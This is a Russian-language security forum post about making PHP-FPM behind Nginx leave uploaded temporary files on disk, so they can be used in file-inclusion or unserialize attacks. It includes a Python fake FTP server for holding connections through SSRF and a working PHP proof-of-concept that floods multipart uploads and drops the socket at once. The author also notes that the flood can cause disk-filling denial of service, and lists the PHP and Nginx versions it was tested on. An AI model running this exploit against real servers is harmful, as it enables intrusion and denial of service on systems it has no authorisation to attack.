[ PHP-FPM + Nginx ] Не совсем временные файлы

Discussion in 'База Знаний' started by crlf, 13 Feb 2021.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Вдохновившись темой Чтение файлов => unserialize !, в частности, вектором эксплуатации через временные файлы, накопал инетерсную особенность упомянутой в названии темы связки.

    Как удержать или ликнуть темп файлы на Apache + mod_php, всем давно известно. Поискав подобную информацию про Nginx, ничего путного не нашлось и в части исследований, приходили к мнению, что для этого нужно крашить PHP. Так как код который требовал эксплуатации уязвимости, был достаточно объёмен, я решил покопаться на багтрекере PHP. В следствии чего появилась эта тема. Но, к моему сожалению, ниодин из вариантов мне не подходил :( Поэтому решил попробовать обойтись своими силами и копнуть тему немного глубже.

    В ходе тестов было выявлено, что если задержать выполнение скрипта, к примеру sleep(100), то файлы лежат во временной директории пока скрипт не отработает до конца. Но так как у Nginx по дефолту fastcgi_read_timeout = 60s, то он закрывает соединение раньше, чем PHP что-то ему ответит. Получив SIGPIPE, пых по всей видимости, обижается и уходит не почистив за собой :)

    Но sleep, и тем более в 100 секунд, есть не всегда, а скорее всего такого вообще нигде нет. Прикинув всевозможные варианты, и вернувшись к начальной цели исследования, был опробован вариант удержания коннекта средствами SSRF. Подняв фейковый FTP:

    Code:
    import socket
    import time
    
    def listen():
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        connection.bind(('0.0.0.0', 5555))
        connection.listen(10)
        while True:
            current_connection, address = connection.accept()
            current_connection.send('220 (vsFTPd 2.3.5)\r\n')
     
            while True:
                data = current_connection.recv(2048)
      
                if data:
                    current_connection.send(data)
                    print data
                    time.sleep(2)
                    current_connection.shutdown(1)
                    current_connection.close()
                    break
    
    
    if __name__ == "__main__":
        try:
            listen()
        except KeyboardInterrupt:
            pass
    
    и опробовав метод, был получен положительный результат (недавний баг с ядовитой гифкой, сработает аналогично).

    Вроде всё хорошо, файлы остаются, можно действовать. Но глядя на mkstemp, а точнее на __gen_tempname становится грустно, так как для эксплуатации может потребоваться много времени, как для подбора имени временного файла, так и для прокидывания достаточного колличества нагрузки, не говоря уже о постоянно занятых коннектах сервера.

    Поэтому в голову пришла, отчасти, бредовая мысль и заключается она в том, чтобы отправить запрос и сразу закрыть сокет. И, к моему удивлению, всё отработало как часы :)

    PoC:

    PHP:
    <?php
       $ssl 
    false;
       
    $ip '';
       
    $host 'localhost';
       
    $path '/index.php';
       
    $file 'Hey, look at me, I`m a temporary file content.';
       
    $scheme = ($ssl 'ssl://' '');
       
    $files 20;
       
    $requests  10;
       
    $gvars 1000;
       
    $grepeat 1;
       
    $EOL "\r\n";
       
    $body '';

       for(
    $i 0$i $files$i++){
           
    $body.='-----------------------------xxxxxxxxxxxx'.$EOL;
           
    $body.='Content-Disposition: form-data; name="future_temporary_file[]"; filename="future_temporary_file"'.$EOL;
           
    $body.='Content-Type: text/plain'.$EOL;
           
    $body.= $EOL;
           
    $body.= $file.$EOL;
       }
     
       for(
    $i 0$i $gvars$i++){
           
    $body.='-----------------------------xxxxxxxxxxxx'.$EOL;
           
    $body.='Content-Disposition: form-data; name="some_garbage['.$i.']"'.$EOL;
           
    $body.= $EOL;
           
    $body.= str_repeat('A'$grepeat).$EOL;
       }
     
       
    $body.='-----------------------------xxxxxxxxxxxx--';
     
       
    $header ='POST '.$path.' HTTP/1.1'.$EOL;
       
    $header.='Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'.$EOL;
       
    $header.='User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:56.0) Gecko/20160101 Firefox/56.0'.$EOL;
       
    $header.='Host: '.$host.$EOL;
       
    $header.='Content-Length: '.strlen($body).$EOL;
       
    $header.='Connection: close'.$EOL.$EOL;
     
       echo 
    $EOL.($requests $files).' files will be sent to '.$host.$EOL.$EOL;
     
       for(
    $i 1$i <= $requests$i++){
           echo 
    'Sending files #'.$i.'    ';
           
    $fp stream_socket_client($scheme.($ip $ip $host).':'.($scheme 443 80), $errno$errstr30);
           
    fwrite($fp$header.$body);
           
    stream_socket_shutdown($fpSTREAM_SHUT_RDWR);
           
    fclose($fp);
           echo 
    'OK'.$EOL;
           
    usleep(10000);
       }
    ?>
    В этом случае коннекты не занимаются и за короткий промежуток времени можно загрузить достаточное количество файлов для дальнейшего успешного подбора.

    Ну и побочный эффект, которй присутствует при неограниченной загрузке файлов, можно вызвать неожиданный DoS разных сервисов системы, забив всё дисковое пространство выделенное для временной директории.

    Так же, интересным моментом является то, что файла скрипта может не быть вообще, если Nginx дернет PHP этого будет достаточно, так как разбор запроса происходит до того как пых статнет файл. Поэтому, в случае c ssl, может потребоваться передача большего количества мусора, дабы занять PHP, так как Nginx в этом случае отрабатывает немного дольше.

    В случае посредника между Nginx и клиентом, метод не работает.

    Положительный результат был получен на:

    Code:
    PHP 7.3.14 + nginx/1.10.3 (SOCK/Linux)
    PHP 7.2.1  + nginx/1.10.3 (SOCK/Linux)
    PHP 7.1.12 + nginx/1.13.7 (TCP/Linux)
    PHP 5.6.32 + nginx/1.10.3 (SOCK/Linux)
    PHP 5.6.30 + nginx/1.1.19 (SOCK/Linux)
    PHP 5.4.45 + nginx/1.2.1 (SOCK/Linux)
    PHP 5.4.39 + nginx/1.2.1 (SOCK/Linux)
    
    Других систем в наличии нет, поэтому буду признателен за дополнительные тесты. Очень интересно как FPM ведёт себя в связке с Apache, IIS и на других ОС.

    .
     
    #1 crlf, 13 Feb 2021
    Last edited: 3 Feb 2023
    b3, dmax0fw and erwerr2321 like this.
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    b3 and Baskin-Robbins like this.